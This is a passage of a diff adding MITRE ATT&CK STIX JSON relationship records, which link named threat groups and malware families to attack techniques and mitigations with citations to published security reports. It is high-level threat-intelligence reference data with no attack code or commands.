[ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--78f237da-f58b-4849-b2ee-cf1f3f7a1a42", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "modified": "2019-07-14T21:15:55.270Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T18:09:00.776Z", + "type": "relationship", + "id": "relationship--b1ee5cba-d4e0-4af0-aa5c-5faacfdb0dbc", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.023Z", + "source_ref": "course-of-action--f28a20fd-d173-4603-807e-2cb3f51bdf04", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) used various social media channels to spearphish victims.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e931afd2-35b2-4f9f-9b7c-88093e822c7b", + "external_references": [ + { + "source_name": "SecureWorks Mia Ash July 2017", + "description": "Counter Threat Unit Research Team. (2017, July 27). The Curious Case of Mia Ash: Fake Persona Lures Middle Eastern Targets. Retrieved February 26, 2018.", + "url": "https://www.secureworks.com/research/the-curious-case-of-mia-ash" + } + ], + "modified": "2019-03-25T14:25:29.541Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-28T15:24:32.586Z", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e5f75ae0-45f5-48b8-938f-f0d9e17e53eb", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-27T00:09:37.287Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--80b30059-28a5-4eaa-9d7c-193875bbccd0", + "external_references": [ + { + "source_name": "\u00dcberwachung APT28 Forfiles June 2015", + "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.", + "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/" + } + ], + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "tool--96fd6cc4-a693-4118-83ec-619e5352d07d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) finds a specified directory, lists the files and metadata about those files.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--636be06a-5c19-45c8-b6be-c38634c583dc", + "external_references": [ + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "modified": "2019-04-24T15:26:03.780Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT37](https://attack.mitre.org/groups/G0067) leverages social networking sites and cloud platforms (AOL, Twitter, Yandex, Mediafire, pCloud, Dropbox, and Box) for C2.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--32bb5463-c8b5-4ba1-bc13-b242548d5aba", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + }, + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "modified": "2019-07-08T14:33:16.089Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:15:00.951Z", + "type": "relationship", + "id": "relationship--c24f1b29-ee7b-4fe6-89be-6b733888a4e6", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--dc43c2fe-355e-4a79-9570-3267b0992784", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has inserted garbage characters into code, presumably to avoid anti-virus detection.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--41bbe151-0ebe-4610-85d2-ba565e299d23", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. 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Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "modified": "2019-04-25T12:24:57.384Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:29:49.606Z", + "type": "relationship", + "id": "relationship--e81d69cf-62b8-464b-ad5b-9a9e80236801", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.030Z", + "source_ref": "course-of-action--823fbfe9-b015-4bf3-9e67-d340c7373ca0", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Variants of [Emissary](https://attack.mitre.org/software/S0082) have used rundll32.exe in Registry values added to establish persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1c6f35f0-1169-4218-9881-7291e1765cd8", + "external_references": [ + { + "source_name": "Emissary Trojan Feb 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has compressed and encrypted data into password-protected RAR archives prior to exfiltration.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f4188b9b-c2fe-41b7-96e0-e28d99671b9d", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2019-03-22T19:57:37.316Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Several [Ke3chang](https://attack.mitre.org/groups/G0004) backdoors achieved persistence by adding a Run key.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dcb733f7-0b36-4b25-82d4-c332810562a7", + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "modified": "2019-04-22T15:08:48.484Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Gamaredon Group](https://attack.mitre.org/groups/G0047) file stealer can gather the victim's username to send to a C2 server.", + "type": "relationship", + "created": "2017-05-31T21:33:27.080Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a5ffea60-7694-48cd-92e9-b755669b2fdb", + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "modified": "2019-03-25T12:57:18.668Z", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) checks the running processes on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8481804a-2dc2-4e58-8515-1f3d1323f33e", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dyre](https://attack.mitre.org/software/S0024) uses HTTPS for C2 communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--812073c3-43c5-4f92-b396-56b669eee0ad", + "external_references": [ + { + "source_name": "Symantec Dyre June 2015", + "description": "Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf" + } + ], + "modified": "2019-04-24T23:21:07.879Z", + "source_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "It is believed that a patch management system for an anti-virus product commonly installed among targeted companies was used to distribute the [Wiper](https://attack.mitre.org/software/S0041) malware.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--82268341-e0a8-4937-8618-351e147daa0c", + "external_references": [ + { + "source_name": "Dell Wiper", + "description": "Dell SecureWorks. (2013, March 21). Wiper Malware Analysis Attacking Korean Financial Sector. Retrieved May 13, 2015.", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/wiper-malware-analysis-attacking-korean-financial-sector/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--a19c49aa-36fe-4c05-b817-23e1c7a7d085", + "relationship_type": "uses", + "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[adbupd](https://attack.mitre.org/software/S0202) contains a copy of the OpenSSL library to encrypt C2 traffic.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e7077a73-991e-4660-a13d-fb30dc36fab1", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0f1ad2ef-41d4-4b7a-9304-ddae68ea3005", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:24:53.142Z", + "type": "relationship", + "id": "relationship--98bdcea2-1c8d-4a65-b75d-075a00d6e87c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.018Z", + "source_ref": "course-of-action--684feec3-f9ba-4049-9d8f-52d52f3e0e40", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has sent spearphishing emails links and attachments attempting to get a user to click.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b979ce29-9d89-4d81-82fb-14240af7a241", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "modified": "2019-04-25T12:24:57.399Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) can obtain a list of active connections and open ports.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--24bce281-7858-4a42-bfd6-601800fb63f7", + "external_references": [ + { + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) downloader code has included \"0\" characters at the end of the file to inflate the file size in a likely attempt to evade anti-virus detection.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cc13f316-0f88-4ed1-8790-b13bc35be119", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2019-03-22T19:57:37.371Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia checks Registry keys within HKCU and HKLM to determine if certain applications are present, including SecureCRT, Terminal Services, RealVNC, TightVNC, UltraVNC, Radmin, mRemote, TeamViewer, FileZilla, pcAnyware, and Remote Desktop. Another [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample checks for the presence of the following Registry key:HKEY_CURRENT_USER\\Software\\Bitcoin\\Bitcoin-Qt.", + "type": "relationship", + "created": "2017-05-31T21:33:27.067Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--39b735d3-c659-4d1a-8e7e-082c0f049c2d", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + }, + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + } + ], + "modified": "2019-04-29T18:13:08.938Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Starloader](https://attack.mitre.org/software/S0188) has masqueraded as legitimate software update packages such as Adobe Acrobat Reader and Intel.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--90e64a7a-42e6-4b95-ae85-5ac324d7f6e2", + "external_references": [ + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--96566860-9f11-4b6f-964d-1c924e4f24a4", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Wingbird](https://attack.mitre.org/software/S0176) side loads a malicious file, sspisrv.dll, in part of a spoofed lssas.exe service.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1bbb499c-81c8-4e94-8305-86b199e8298b", + "external_references": [ + { + "source_name": "Microsoft SIR Vol 21", + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + }, + { + "source_name": "Microsoft Wingbird Nov 2017", + "description": "Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.", + "url": "https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654", + "relationship_type": "uses", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can upload and download files to the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--42914dfa-9644-4bf6-bb5f-45c0e3303d7b", + "external_references": [ + { + "source_name": "US-CERT TYPEFRAME June 2018", + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) accesses network share(s), enables share access to the target device, copies an executable payload to the target system, and uses a [Scheduled Task](https://attack.mitre.org/techniques/T1053) to execute the malware.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--38ea7367-26e7-4a6a-b735-e98e3a35450a", + "external_references": [ + { + "source_name": "FireEye Shamoon Nov 2016", + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html" + } + ], + "modified": "2019-04-24T23:59:16.311Z", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "relationship_type": "uses", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The net start command can be used in [Net](https://attack.mitre.org/software/S0039) to find information about Windows services.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1d36c3e8-238f-46c6-9b20-9fb4cb5c75ba", + "external_references": [ + { + "source_name": "Savill 1999", + "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", + "url": "http://windowsitpro.com/windows/netexe-reference" + } + ], + "modified": "2019-04-24T23:39:01.548Z", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "relationship_type": "uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) regularly deploys both publicly available and custom password retrieval tools on victims.", + "type": "relationship", + "created": "2017-05-31T21:33:27.039Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e71903c4-a7af-4317-adf0-10f76d3d4e15", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "modified": "2019-07-27T00:09:36.301Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dyre](https://attack.mitre.org/software/S0024) can detect sandbox analysis environments by inspecting the process list and Registry.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--17f9d6c8-f938-4532-b834-3834655911b8", + "external_references": [ + { + "source_name": "Symantec Dyre June 2015", + "description": "Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf" + } + ], + "modified": "2019-04-24T23:21:07.894Z", + "source_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe", + "relationship_type": "uses", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WINERACK](https://attack.mitre.org/software/S0219) can gather information on the victim username.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2f8d5603-0876-41dd-9fdb-ca9dc0ad6253", + "external_references": [ + { + "source_name": "FireEye 